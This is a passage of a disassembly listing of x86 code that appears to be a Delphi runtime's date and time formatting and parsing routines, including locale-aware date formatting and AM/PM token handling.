4 dd 0FFFFFFFFh, 2 dword_20008AF4 dd 6767h ; DATA XREF: sub_20008990+53o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20008AF8 proc near ; CODE XREF: sub_20008C00+1F1p DateStr = byte ptr -114h Date = SYSTEMTIME ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFEECh push ebx push esi xor ecx, ecx mov [ebp+var_4], ecx mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_20008BD6 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_20003FA8 mov eax, [ebp+arg_0] mov ax, [eax-0Eh] mov [ebp+Date.wYear], ax mov eax, [ebp+arg_0] mov ax, [eax-10h] mov [ebp+Date.wMonth], ax mov eax, [ebp+arg_0] mov ax, [eax-12h] mov [ebp+Date.wDay], ax cmp esi, 2 jg short loc_20008B56 lea eax, [ebp+var_4] mov edx, offset dword_20008BEC call sub_20004040 jmp short loc_20008B63 ; --------------------------------------------------------------------------- loc_20008B56: ; CODE XREF: sub_20008AF8+4Dj lea eax, [ebp+var_4] mov edx, offset aYyyy ; "yyyy" call sub_20004040 loc_20008B63: ; CODE XREF: sub_20008AF8+5Cj push 100h ; cchDate lea eax, [ebp+DateStr] push eax ; lpDateStr mov eax, [ebp+var_4] call sub_20004444 push eax ; lpFormat lea eax, [ebp+Date] push eax ; lpDate push 4 ; dwFlags call GetThreadLocale_0 push eax ; Locale call GetDateFormatA test eax, eax jz short loc_20008BC0 mov eax, ebx lea edx, [ebp+DateStr] mov ecx, 100h call sub_20004218 dec esi jnz short loc_20008BC0 mov eax, [ebx] cmp byte ptr [eax], 30h jnz short loc_20008BC0 push ebx mov eax, [ebx] call sub_20004244 mov ecx, eax dec ecx mov eax, [ebx] mov edx, 2 call sub_200044A4 loc_20008BC0: ; CODE XREF: sub_20008AF8+93j ; sub_20008AF8+A8j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20008BDD loc_20008BCD: ; CODE XREF: sub_20008AF8+E3j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20008BD6: ; DATA XREF: sub_20008AF8+17o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20008BCD ; --------------------------------------------------------------------------- loc_20008BDD: ; CODE XREF: sub_20008AF8+DDj ; DATA XREF: sub_20008AF8+D0o pop esi pop ebx mov esp, ebp pop ebp retn sub_20008AF8 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_20008BEC dd 7979h, 0FFFFFFFFh, 4 ; DATA XREF: sub_20008AF8+52o aYyyy db 'yyyy',0 ; DATA XREF: sub_20008AF8+61o align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20008C00 proc near ; CODE XREF: sub_20008C00+2F8p ; sub_20008C00+30Cp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_13 = byte ptr -13h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h push ebx push esi xor edx, edx mov [ebp+var_28], edx mov [ebp+var_24], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_20009381 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+var_4], 0 jz loc_20009366 mov eax, [ebp+arg_0] cmp dword ptr [eax-108h], 2 jge loc_20009366 mov eax, [ebp+arg_0] inc dword ptr [eax-108h] mov bl, 20h mov [ebp+var_13], 0 mov [ebp+var_1D], 0 mov [ebp+var_1E], 0 jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008C57: ; CODE XREF: sub_20008C00+757j mov [ebp+var_5], al mov al, [ebp+var_5] and eax, 0FFh bt ds:dword_2001412C, eax jnb short loc_20008C94 mov eax, [ebp+arg_0] push eax mov eax, [ebp+var_4] call sub_2000AF9C mov edx, eax mov eax, [ebp+var_4] call sub_2000883C pop ecx mov eax, [ebp+var_4] call sub_2000AFBC mov [ebp+var_4], eax mov bl, 20h jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008C94: ; CODE XREF: sub_20008C00+69j mov eax, [ebp+var_4] call sub_2000AFBC mov [ebp+var_4], eax mov al, [ebp+var_5] mov edx, eax add dl, 9Fh sub dl, 1Ah jnb short loc_20008CAE sub al, 20h loc_20008CAE: ; CODE XREF: sub_20008C00+AAj mov edx, eax add dl, 0BFh sub dl, 1Ah jnb short loc_20008CC5 cmp al, 4Dh jnz short loc_20008CC3 cmp bl, 48h jnz short loc_20008CC3 mov al, 4Eh loc_20008CC3: ; CODE XREF: sub_20008C00+BAj ; sub_20008C00+BFj mov ebx, eax loc_20008CC5: ; CODE XREF: sub_20008C00+B6j and eax, 0FFh add eax, 0FFFFFFDEh cmp eax, 38h ; switch 57 cases ja loc_2000933E ; default ; jumptable 20008CDC cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54 mov al, byte_20008CE3[eax] jmp off_20008D1C[eax*4] ; switch jump ; --------------------------------------------------------------------------- byte_20008CE3 db 0Fh, 0, 0, 0 ; DATA XREF: sub_20008C00+D6r db 0, 0Fh, 0, 0 ; indirect table for switch statement db 0, 0, 0, 0 db 0, 0Dh, 0, 0 db 0, 0, 0, 0 db 0, 0, 0, 0 db 0Eh, 0, 0, 0 db 0, 0, 0, 0Bh db 0, 0Ch, 5, 3 db 0, 2, 6, 0 db 0, 0, 0, 4 db 7, 0, 0, 0 db 0, 8, 9, 0 db 0, 0, 0, 1 db 0Ah off_20008D1C dd offset loc_2000933E, offset loc_20008D5C, offset loc_20008DAB ; DATA XREF: sub_20008C00+DCr dd offset loc_20008DD8, offset loc_20008E05, offset loc_20008E6A ; jump table for switch statement dd offset loc_20008F17, offset loc_20009011, offset loc_20009042 dd offset loc_20009073, offset loc_200090A8, offset loc_200090D9 dd offset loc_2000924C, offset loc_200092AA, offset loc_200092D0 dd offset loc_200092EF ; --------------------------------------------------------------------------- loc_20008D5C: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 55 call sub_200088EC pop ecx push ebp call sub_20008918 pop ecx cmp [ebp+var_C], 2 jg short loc_20008D93 mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_E] mov ecx, 64h xor edx, edx div ecx mov eax, edx mov edx, 2 call sub_200088A0 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008D93: ; CODE XREF: sub_20008C00+16Ej mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_E] mov edx, 4 call sub_200088A0 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008DAB: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 37 call sub_200088EC pop ecx push ebp call sub_20008918 pop ecx mov eax, [ebp+arg_0] push eax push ebp lea edx, [ebp+var_24] mov eax, [ebp+var_C] call sub_20008990 pop ecx mov eax, [ebp+var_24] call sub_20008880 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008DD8: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 35 call sub_200088EC pop ecx push ebp call sub_20008918 pop ecx mov eax, [ebp+arg_0] push eax push ebp lea edx, [ebp+var_28] mov eax, [ebp+var_C] call sub_20008AF8 pop ecx mov eax, [ebp+var_28] call sub_20008880 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008E05: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 43 call sub_200088EC pop ecx push ebp call sub_20008918 pop ecx mov eax, [ebp+var_C] dec eax sub eax, 2 jb short loc_20008E20 jz short loc_20008E36 jmp short loc_20008E50 ; --------------------------------------------------------------------------- loc_20008E20: ; CODE XREF: sub_20008C00+21Aj mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_10] mov edx, [ebp+var_C] call sub_200088A0 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008E36: ; CODE XREF: sub_20008C00+21Cj mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_10] mov eax, ds:dword_200156B8[eax*4] call sub_20008880 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008E50: ; CODE XREF: sub_20008C00+21Ej mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_10] mov eax, ds:dword_200156E8[eax*4] call sub_20008880 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008E6A: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 34 call sub_200088EC pop ecx mov eax, [ebp+var_C] dec eax sub eax, 2 jb short loc_20008E84 jz short loc_20008EA1 dec eax jz short loc_20008EC8 dec eax jz short loc_20008EEF jmp short loc_20008F03 ; --------------------------------------------------------------------------- loc_20008E84: ; CODE XREF: sub_20008C00+278j push ebp call sub_20008918 pop ecx mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_12] mov edx, [ebp+var_C] call sub_200088A0 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008EA1: ; CODE XREF: sub_20008C00+27Aj mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double call sub_20008800 movzx eax, ax mov eax, ds:dword_20015718[eax*4] call sub_20008880 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008EC8: ; CODE XREF: sub_20008C00+27Dj mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double call sub_20008800 movzx eax, ax mov eax, ds:dword_20015734[eax*4] call sub_20008880 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008EEF: ; CODE XREF: sub_20008C00+280j mov eax, [ebp+arg_0] push eax mov eax, ds:dword_200156A0 call sub_20008C00 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008F03: ; CODE XREF: sub_20008C00+282j mov eax, [ebp+arg_0] push eax mov eax, ds:dword_200156A4 call sub_20008C00 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20008F17: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 38 call sub_200088EC pop ecx push ebp call sub_20008950 pop ecx mov [ebp+var_1F], 0 mov esi, [ebp+var_4] jmp loc_20008FC6 ; --------------------------------------------------------------------------- loc_20008F31: ; CODE XREF: sub_20008C00+3CAj and eax, 0FFh bt ds:dword_2001412C, eax jnb short loc_20008F4A mov eax, esi call sub_2000AFBC mov esi, eax jmp short loc_20008FC6 ; --------------------------------------------------------------------------- loc_20008F4A: ; CODE XREF: sub_20008C00+33Dj xor eax, eax mov al, [esi] cmp eax, 48h jg short loc_20008F66 jz short loc_20008FD0 sub eax, 22h jz short loc_20008FBD sub eax, 5 jz short loc_20008FBD sub eax, 1Ah jz short loc_20008F72 jmp short loc_20008FC5 ; --------------------------------------------------------------------------- loc_20008F66: ; CODE XREF: sub_20008C00+351j sub eax, 61h jz short loc_20008F72 sub eax, 7 jz short loc_20008FD0 jmp short loc_20008FC5 ; --------------------------------------------------------------------------- loc_20008F72: ; CODE XREF: sub_20008C00+362j ; sub_20008C00+369j cmp [ebp+var_1F], 0 jnz short loc_20008FC5 mov edx, offset dword_20009390 mov ecx, 5 mov eax, esi call sub_20007738 test eax, eax jz short loc_20008FB7 mov edx, offset dword_20009398 mov ecx, 3 mov eax, esi call sub_20007738 test eax, eax jz short loc_20008FB7 mov edx, offset aAmpm ; "AMPM" mov ecx, 4 mov eax, esi call sub_20007738 test eax, eax jnz short loc_20008FD0 loc_20008FB7: ; CODE XREF: sub_20008C00+38Bj ; sub_20008C00+3A0j mov [ebp+var_1E], 1 jmp short loc_20008FD0 ; --------------------------------------------------------------------------- loc_20008FBD: ; CODE XREF: sub_20008C00+358j ; sub_20008C00+35Dj mov al, [ebp+var_1F] xor al, 1 mov [ebp+var_1F], al loc_20008FC5: ; CODE XREF: sub_20008C00+364j ; sub_20008C00+370j ... inc esi loc_20008FC6: ; CODE XREF: sub_20008C00+32Cj ; sub_20008C00+348j mov al, [esi] test al, al jnz loc_20008F31 loc_20008FD0: ; CODE XREF: sub_20008C00+353j ; sub_20008C00+36Ej ... mov ax, [ebp+var_16] cmp [ebp+var_1E], 0 jz short loc_20008FEF test ax, ax jnz short loc_20008FE5 mov ax, 0Ch jmp short loc_20008FEF ; --------------------------------------------------------------------------- loc_20008FE5: ; CODE XREF: sub_20008C00+3DDj cmp ax, 0Ch jbe short loc_20008FEF sub ax, 0Ch loc_20008FEF: ; CODE XREF: sub_20008C00+3D8j ; sub_20008C00+3E3j ... cmp [ebp+var_C], 2 jle short loc_20008FFC mov [ebp+var_C], 2 loc_20008FFC: ; CODE XREF: sub_20008C00+3F3j mov edx, [ebp+arg_0] push edx movzx eax, ax mov edx, [ebp+var_C] call sub_200088A0 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20009011: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 44 call sub_200088EC pop ecx push ebp call sub_20008950 pop ecx cmp [ebp+var_C], 2 jle short loc_2000902C mov [ebp+var_C], 2 loc_2000902C: ; CODE XREF: sub_20008C00+423j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_18] mov edx, [ebp+var_C] call sub_200088A0 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20009042: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 49 call sub_200088EC pop ecx push ebp call sub_20008950 pop ecx cmp [ebp+var_C], 2 jle short loc_2000905D mov [ebp+var_C], 2 loc_2000905D: ; CODE XREF: sub_20008C00+454j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_1A] mov edx, [ebp+var_C] call sub_200088A0 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20009073: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 50 call sub_200088EC pop ecx cmp [ebp+var_C], 1 jnz short loc_20009094 mov eax, [ebp+arg_0] push eax mov eax, ds:dword_200156B4 call sub_20008C00 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20009094: ; CODE XREF: sub_20008C00+47Ej mov eax, [ebp+arg_0] push eax mov eax, ds:dword_200156B8 call sub_20008C00 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_200090A8: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 56 call sub_200088EC pop ecx push ebp call sub_20008950 pop ecx cmp [ebp+var_C], 3 jle short loc_200090C3 mov [ebp+var_C], 3 loc_200090C3: ; CODE XREF: sub_20008C00+4BAj mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_1C] mov edx, [ebp+var_C] call sub_200088A0 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_200090D9: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 31 call sub_20008950 pop ecx mov esi, [ebp+var_4] dec esi mov edx, offset dword_20009390 mov ecx, 5 mov eax, esi call sub_20007738 test eax, eax jnz short loc_20009121 cmp [ebp+var_16], 0Ch jb short loc_20009103 add esi, 3 loc_20009103: ; CODE XREF: sub_20008C00+4FEj mov eax, [ebp+arg_0] push eax mov edx, 2 mov eax, esi call sub_2000883C pop ecx add [ebp+var_4], 4 mov [ebp+var_1E], 1 jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20009121: ; CODE XREF: sub_20008C00+4F7j mov edx, offset dword_20009398 mov ecx, 3 mov eax, esi call sub_20007738 test eax, eax jnz short loc_2000915E cmp [ebp+var_16], 0Ch jb short loc_20009140 add esi, 2 loc_20009140: ; CODE XREF: sub_20008C00+53Bj mov eax, [ebp+arg_0] push eax mov edx, 1 mov eax, esi call sub_2000883C pop ecx add [ebp+var_4], 2 mov [ebp+var_1E], 1 jmp loc_20009350 ; --------------------------------------------------------------------------- loc_2000915E: ; CODE XREF: sub_20008C00+534j mov edx, offset aAmpm ; "AMPM" mov ecx, 4 mov eax, esi call sub_20007738 test eax, eax jnz short loc_200091A7 cmp [ebp+var_16], 0Ch jnb short loc_2000918B mov eax, [ebp+arg_0] push eax mov eax, ds:dword_200156AC call sub_20008880 pop ecx jmp short loc_2000919A ; --------------------------------------------------------------------------- loc_2000918B: ; CODE XREF: sub_20008C00+578j mov eax, [ebp+arg_0] push eax mov eax, ds:dword_200156B0 call sub_20008880 pop ecx loc_2000919A: ; CODE XREF: sub_20008C00+589j add [ebp+var_4], 3 mov [ebp+var_1E], 1 jmp loc_20009350 ; --------------------------------------------------------------------------- loc_200091A7: ; CODE XREF: sub_20008C00+571j mov edx, offset aAaaa ; "AAAA" mov ecx, 4 mov eax, esi call sub_20007738 test eax, eax jnz short loc_200091EE push ebp call sub_20008918 pop ecx mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double call sub_20008800 movzx eax, ax mov eax, ds:dword_20015734[eax*4] call sub_20008880 pop ecx add [ebp+var_4], 3 jmp loc_20009350 ; --------------------------------------------------------------------------- loc_200091EE: ; CODE XREF: sub_20008C00+5BAj mov edx, offset aAaa ; "AAA" mov ecx, 3 mov eax, esi call sub_20007738 test eax, eax jnz short loc_20009235 push ebp call sub_20008918 pop ecx mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double call sub_20008800 movzx eax, ax mov eax, ds:dword_20015718[eax*4] call sub_20008880 pop ecx add [ebp+var_4], 2 jmp loc_20009350 ; --------------------------------------------------------------------------- loc_20009235: ; CODE XREF: sub_20008C00+601j mov eax, [ebp+arg_0] push eax lea eax, [ebp+var_5] mov edx, 1 call sub_2000883C pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_2000924C: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co push ebp ; jumptable 20008CDC case 33 call sub_200088EC pop ecx mov eax, [ebp+arg_0] push eax mov eax, ds:dword_200156A0 call sub_20008C00 pop ecx push ebp call sub_20008950 pop ecx cmp [ebp+var_16], 0 jnz short loc_20009282 cmp [ebp+var_18], 0 jnz short loc_20009282 cmp [ebp+var_1A], 0 jz loc_20009350 loc_20009282: ; CODE XREF: sub_20008C00+66Ej ; sub_20008C00+675j mov eax, [ebp+arg_0] push eax mov eax, offset asc_200093B0 ; " " mov edx, 1 call sub_2000883C pop ecx mov eax, [ebp+arg_0] push eax mov eax, ds:dword_200156B8 call sub_20008C00 pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_200092AA: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co cmp ds:byte_2001569D, 0 ; jumptable 20008CDC case 13 jz loc_20009350 mov eax, [ebp+arg_0] push eax mov eax, offset byte_2001569D mov edx, 1 call sub_2000883C pop ecx jmp loc_20009350 ; --------------------------------------------------------------------------- loc_200092D0: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co cmp ds:byte_200156A8, 0 ; jumptable 20008CDC case 24 jz short loc_20009350 mov eax, [ebp+arg_0] push eax mov eax, offset byte_200156A8 mov edx, 1 call sub_2000883C pop ecx jmp short loc_20009350 ; --------------------------------------------------------------------------- loc_200092EF: ; CODE XREF: sub_20008C00+DCj ; DATA XREF: sub_20008C00:off_20008D1Co mov esi, [ebp+var_4] ; jumptable 20008CDC cases 0,5 jmp short loc_20009312 ; --------------------------------------------------------------------------- loc_200092F4: ; CODE XREF: sub_20008C00+71Ej and eax, 0FFh bt ds:dword_2001412C, eax jnb short loc_2000930F mov eax, [ebp+var_4] call sub_2000AFBC mov [ebp+var_4], eax jmp short loc_20009312 ; --------------------------------------------------------------------------- loc_2000930F: ; CODE XREF: sub_20008C00+700j inc [ebp+var_4] loc_20009312: ; CODE XREF: sub_20008C00+6F2j ; sub_20008C00+70Dj mov eax, [ebp+var_4] mov al, [eax] test al, al jz short loc_20009320 cmp al, [ebp+var_5] jnz short loc_200092F4 loc_20009320: ; CODE XREF: sub_20008C00+719j mov eax, [ebp+arg_0] push eax mov edx, [ebp+var_4] sub edx, esi mov eax, esi call sub_2000883C pop ecx mov eax, [ebp+var_4] cmp byte ptr [eax], 0 jz short loc_20009350 inc [ebp+var_4] jmp short loc_20009350 ; --------------------------------------------------------------------------- loc_2000933E: ; CODE XREF: sub_20008C00+D0j ; sub_20008C00+DCj ; DATA XREF: ... mov eax, [ebp+arg_0] ; default ; jumptable 20008CDC cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54 push eax lea eax, [ebp+var_5] mov edx, 1 call sub_2000883C pop ecx loc_20009350: ; CODE XREF: sub_20008C00+52j ; sub_20008C00+8Fj ... mov eax, [ebp+var_4] mov al, [eax] test al, al jnz loc_20008C57 mov eax, [ebp+arg_0] dec dword ptr [eax-108h] loc_20009366: ; CODE XREF: sub_20008C00+25j ; sub_20008C00+35j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20009388 loc_20009373: ; CODE XREF: sub_20008C00+786j lea eax, [ebp+var_28] mov edx, 2 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_20009381: ; DATA XREF: sub_20008C00+16o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20009373 ; --------------------------------------------------------------------------- loc_20009388: ; CODE XREF: sub_20008C00+780j ; DATA XREF: sub_20008C00+76Eo pop esi pop ebx mov esp, ebp pop ebp retn sub_20008C00 endp ; --------------------------------------------------------------------------- align 10h dword_20009390 dd 502F4D41h, 4Dh ; DATA XREF: sub_20008C00+378o ; sub_20008C00+4E4o dword_20009398 dd 502F41h ; DATA XREF: sub_20008C00+38Do ; sub_20008C00:loc_20009121o aAmpm db 'AMPM',0 ; DATA XREF: sub_20008C00+3A2o ; sub_20008C00:loc_2000915Eo align 4 aAaaa db 'AAAA',0 ; DATA XREF: sub_20008C00:loc_200091A7o align 4 aAaa db 'AAA',0 ; DATA XREF: sub_20008C00:loc_200091EEo asc_200093B0: ; DATA XREF: sub_20008C00+686o unicode 0, < >,0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200093B4 proc near ; CODE XREF: sub_20009410+Bp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h push ebp mov ebp, esp add esp, 0FFFFFEF8h push ebx push esi mov ebx, edx mov esi, eax xor eax, eax mov [ebp+var_104], eax xor eax, eax mov [ebp+var_108], eax test ebx, ebx jz short loc_200093E2 push ebp mov eax, ebx call sub_20008C00 pop ecx jmp short loc_200093EE ; --------------------------------------------------------------------------- loc_200093E2: ; CODE XREF: sub_200093B4+21j push ebp mov eax, offset dword_2000940C call sub_20008C00 pop ecx loc_200093EE: ; CODE XREF: sub_200093B4+2Cj lea edx, [ebp+var_100] mov eax, esi mov ecx, [ebp+var_104] call sub_20004098 pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_200093B4 endp ; --------------------------------------------------------------------------- align 4 dword_2000940C dd 43h ; DATA XREF: sub_200093B4+2Fo ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20009410 proc near ; CODE XREF: sub_2000C4FC+38p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_4] push [ebp+arg_0] xor edx, edx call sub_200093B4 pop ebp retn 8 sub_20009410 endp ; =============== S U B R O U T I N E ======================================= sub_20009424 proc near ; CODE XREF: sub_20009448+20p ; sub_200094DC+2Ep ... push ebx push esi push edi mov edi, edx mov esi, eax mov ebx, [edi] jmp short loc_20009430 ; --------------------------------------------------------------------------- loc_2000942F: ; CODE XREF: sub_20009424+1Cj inc ebx loc_20009430: ; CODE XREF: sub_20009424+9j mov eax, esi call sub_20004244 cmp ebx, eax jg short loc_20009442 cmp byte ptr [esi+ebx-1], 20h jz short loc_2000942F loc_20009442: ; CODE XREF: sub_20009424+15j mov [edi], ebx pop edi pop esi pop ebx retn sub_20009424 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20009448 proc near ; CODE XREF: sub_200096E4+C2p ; sub_200096E4+F1p ... var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov edi, eax mov [ebp+var_9], 0 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov edx, [ebp+var_4] mov eax, edi call sub_20009424 mov ebx, [ebp+var_4] mov ebx, [ebx] xor esi, esi jmp short loc_2000948D ; --------------------------------------------------------------------------- loc_20009476: ; CODE XREF: sub_20009448+5Fj mov eax, esi add eax, eax lea eax, [eax+eax*4] xor edx, edx mov dl, [edi+ebx-1] sub dx, 30h add ax, dx mov esi, eax inc ebx loc_2000948D: ; CODE XREF: sub_20009448+2Cj mov eax, edi call sub_20004244 cmp ebx, eax jg short loc_200094A9 mov al, [edi+ebx-1] add al, 0D0h sub al, 0Ah jnb short loc_200094A9 cmp si, 3E8h jb short loc_20009476 loc_200094A9: ; CODE XREF: sub_20009448+4Ej ; sub_20009448+58j mov eax, [ebp+var_4] cmp ebx, [eax] jle short loc_200094CD mov eax, ebx mov edx, [ebp+var_4] mov edx, [edx] sub al, dl mov edx, [ebp+arg_0] mov [edx], al mov eax, [ebp+var_4] mov [eax], ebx mov eax, [ebp+var_8] mov [eax], si mov [ebp+var_9], 1 loc_200094CD: ; CODE XREF: sub_20009448+66j mov al, [ebp+var_9] pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_20009448 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200094DC proc near ; CODE XREF: sub_20009A28+1Dp ; sub_20009A28+2Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi xor ebx, ebx mov [ebp+var_8], ebx mov edi, ecx mov esi, edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_20009555 push dword ptr fs:[eax] mov fs:[eax], esp xor ebx, ebx test edi, edi jz short loc_2000953F mov edx, esi mov eax, [ebp+var_4] call sub_20009424 lea eax, [ebp+var_8] push eax mov eax, edi call sub_20004244 mov ecx, eax mov edx, [esi] mov eax, [ebp+var_4] call sub_200044A4 mov edx, [ebp+var_8] mov eax, edi call sub_20007074 test eax, eax jnz short loc_2000953F mov eax, edi call sub_20004244 add [esi], eax mov bl, 1 loc_2000953F: ; CODE XREF: sub_200094DC+27j ; sub_200094DC+56j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000955C loc_2000954C: ; CODE XREF: sub_200094DC+7Ej lea eax, [ebp+var_8] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20009555: ; DATA XREF: sub_200094DC+18o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000954C ; --------------------------------------------------------------------------- loc_2000955C: ; CODE XREF: sub_200094DC+78j ; DATA XREF: sub_200094DC+6Bo mov eax, ebx pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_200094DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20009568 proc near ; CODE XREF: sub_200096E4+D9p ; sub_200096E4+108p ... var_10 = byte ptr -10h push ebx push esi push edi push ecx mov [esp+10h+var_10], cl mov edi, edx mov esi, eax xor ebx, ebx mov edx, edi mov eax, esi call sub_20009424 mov eax, esi call sub_20004244 cmp eax, [edi] jl short loc_20009598 mov eax, [edi] mov al, [esi+eax-1] cmp al, [esp+10h+var_10] jnz short loc_20009598 inc dword ptr [edi] mov bl, 1 loc_20009598: ; CODE XREF: sub_20009568+1Fj ; sub_20009568+2Aj mov eax, ebx pop edx pop edi pop esi pop ebx retn sub_20009568 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200095A0 proc near ; CODE XREF: sub_200096E4+47p push ebx push esi push edi mov esi, eax xor ebx, ebx mov edi, 1 jmp short loc_200095D7 ; --------------------------------------------------------------------------- loc_200095AE: ; CODE XREF: sub_200095A0+40j mov al, [esi+edi-1] and al, 0DFh sub al, 44h jz short loc_200095D2 dec al jz short loc_200095C6 sub al, 8 jz short loc_200095CE sub al, 0Ch jz short loc_200095CA jmp short loc_200095D6 ; --------------------------------------------------------------------------- loc_200095C6: ; CODE XREF: sub_200095A0+1Aj mov bl, 2 jmp short loc_200095E4 ; --------------------------------------------------------------------------- loc_200095CA: ; CODE XREF: sub_200095A0+22j mov bl, 2 jmp short loc_200095E4 ; --------------------------------------------------------------------------- loc_200095CE: ; CODE XREF: sub_200095A0+1Ej xor ebx, ebx jmp short loc_200095E4 ; --------------------------------------------------------------------------- loc_200095D2: 